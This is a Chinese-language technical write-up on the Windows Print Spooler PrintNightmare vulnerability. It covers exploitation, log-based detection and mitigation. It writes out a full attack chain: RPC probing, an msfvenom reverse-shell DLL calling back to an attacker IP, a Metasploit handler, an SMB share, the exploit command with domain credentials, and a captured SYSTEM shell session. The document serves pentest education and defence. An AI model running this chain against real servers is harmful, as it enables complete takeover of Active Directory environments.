PrintNightmare(CVE-2021-1675 / CVE-2021-34527)的技术文档与分析,涵盖 RCE/LPE 漏洞利用、通过 Windows 事件日志进行检测,以及针对打印后台处理程序(Print Spooler)的缓解措施。
该仓库包含一份详细的技术报告(Write-up)以及对 Windows 打印后台处理程序(Print Spooler)服务中关键漏洞的利用概念验证分析,该漏洞允许低权限域用户以最高系统权限远程执行任意代码。
🛑 警告与免责声明: 本材料仅用于教育目的和合法的安全审计(渗透测试)。未经所有者事先书面同意,针对系统使用所述技术将受到法律追究。
PrintNightmare 系列漏洞对基于 Windows Server 和 Active Directory 的企业环境构成严重威胁。MS-RPRN(打印系统远程协议)和 MS-PAR(打印系统异步远程协议)RPC 接口中权限检查的架构性缺陷,使得攻击者可以合法地请求在远程服务器上安装打印机驱动程序。
主要危险在于,默认情况下打印后台处理程序服务(spoolsv.exe)在大多数服务器(包括域控制器(Domain Controllers))上都处于活动状态,并以最高权限 NT AUTHORITY\SYSTEM 的上下文中运行。攻陷一个低权限账户(例如通过网络钓鱼)即可使攻击者立即完全控制整个 Active Directory 基础设施。
impacket(rpcdump, smbserver)、msfvenom、Metasploit Framework、Python 漏洞利用脚本。要实现远程代码执行(RCE)攻击向量,需要具备有效的、具有最小权限的域用户凭据(在本次研究条件中已提供)。
spoolsv.exe)处于活动状态,并以最高权限 SYSTEM 运行,这为通过加载不受信任的库在主机上实现本地权限提升(LPE)打开了直接途径。在运行主漏洞利用程序之前,必须确认远程机器提供了易受攻击的打印协议并可进行网络交互。对目标系统的 RPC 接口进行探测:
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'
受控终端输出:
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
[MS-RPRN] 和 [MS-PAR] 协议字符串。这 100% 确认该系统支持所需的远程打印接口,并且存在 PrintNightmare 攻击向量漏洞。创建针对 x64 架构的载荷,指定我们攻击机的 IP 地址用于反向网络连接:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"
目标 Windows 服务器需要有一条合法途径通过网络下载我们的 DLL 库,而无需借助第三方工具。从 /tmp 目录启动支持 SMBv2 协议的 SMB 服务器:
sudo impacket-smbserver tmp /tmp -smb2support
运行 Python 漏洞利用脚本,向其传递低权限域用户凭据以及我们本地 SMB 共享上恶意库的 UNC 路径:
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'
成功会话捕获日志(Metasploit):
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) 微软公司(Microsoft Corporation)。保留所有权利。
C:\Windows\system32> whoami
nt authority\system
NT AUTHORITY\SYSTEM 状态的 Meterpreter 会话。目标已被完全攻陷。对于 Blue Team 专业人员而言,检测 PrintNightmare 的利用建立在审计 Windows 系统日志和监控异常进程活动的基础之上。
成功运行漏洞利用程序会在打印日志和系统日志中留下典型记录:
C:\Windows\System32\spool\drivers\x64\3\ 路径)。Print Spooler)因漏洞利用程序不稳定运行而突然被强制重启。cmd.exe、powershell.exe)或数据收集工具,其父进程为打印后台处理程序系统进程 spoolsv.exe。在合法情况下,spoolsv.exe 绝不会生成命令外壳。spoolsv.exe 进程向外部 SMB 资源(端口 445)建立出站网络连接以下载驱动程序文件。Disabled 模式。